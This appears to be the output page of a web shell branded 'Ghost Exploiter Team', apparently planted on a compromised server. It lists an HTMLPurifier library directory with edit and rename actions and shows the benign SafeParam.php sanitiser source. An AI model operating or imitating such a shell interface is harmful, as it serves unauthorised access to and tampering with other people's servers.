Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/

File / Folder	Size	Action
.	-
Background.php	0.68KB	edt ren
BdoDir.php	0.624KB	edt ren
BgColor.php	0.656KB	edt ren
BoolToCSS.php	1.062KB	edt ren
Border.php	0.66KB	edt ren
EnumToCSS.php	1.685KB	edt ren
ImgRequired.php	1.3KB	edt ren
ImgSpace.php	1.365KB	edt ren
Input.php	1.563KB	edt ren
Lang.php	0.836KB	edt ren
Length.php	0.961KB	edt ren
Name.php	0.789KB	edt ren
NameSync.php	1.094KB	edt ren
Nofollow.php	1.278KB	edt ren
SafeEmbed.php	0.557KB	edt ren
SafeObject.php	0.595KB	edt ren
SafeParam.php	2.551KB	edt ren
ScriptRequired.php	0.504KB	edt ren
TargetBlank.php	1.173KB	edt ren
TargetNoopener.php	0.998KB	edt ren
TargetNoreferrer.php	1.008KB	edt ren
Textarea.php	0.585KB	edt ren

<?php

/**
 * Validates name/value pairs in param tags to be used in safe objects. This
 * will only allow name values it recognizes, and pre-fill certain attributes
 * with required values.
 *
 * @note
 *      This class only supports Flash. In the future, Quicktime support
 *      may be added.
 *
 * @warning
 *      This class expects an injector to add the necessary parameters tags.
 */
class HTMLPurifier_AttrTransform_SafeParam extends HTMLPurifier_AttrTransform
{
    /**
     * @type string
     */
    public $name = "SafeParam";

/**
     * @type HTMLPurifier_AttrDef_URI
     */
    private $uri;

/**
     * @type HTMLPurifier_AttrDef_Enum
     */
    public $wmode;

public function __construct()
    {
        $this->uri = new HTMLPurifier_AttrDef_URI(true); // embedded
        $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent'));
    }

/**
     * @param array $attr
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return array
     */
    public function transform($attr, $config, $context)
    {
        // If we add support for other objects, we'll need to alter the
        // transforms.
        switch ($attr['name']) {
            // application/x-shockwave-flash
            // Keep this synchronized with Injector/SafeObject.php
            case 'allowScriptAccess':
                $attr['value'] = 'never';
                break;
            case 'allowNetworking':
                $attr['value'] = 'internal';
                break;
            case 'allowFullScreen':
                if ($config->get('HTML.FlashAllowFullScreen')) {
                    $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false';
                } else {
                    $attr['value'] = 'false';
                }
                break;
            case 'wmode':
                $attr['value'] = $this->wmode->validate($attr['value'], $config, $context);
                break;
            case 'movie':
            case 'src':
                $attr['name'] = "movie";
                $attr['value'] = $this->uri->validate($attr['value'], $config, $context);
                break;
            case 'flashvars':
                // we're going to allow arbitrary inputs to the SWF, on
                // the reasoning that it could only hack the SWF, not us.
                break;
            // add other cases to support other param name/value pairs
            default:
                $attr['name'] = $attr['value'] = null;
        }
        return $attr;
    }
}

// vim: et sw=4 sts=4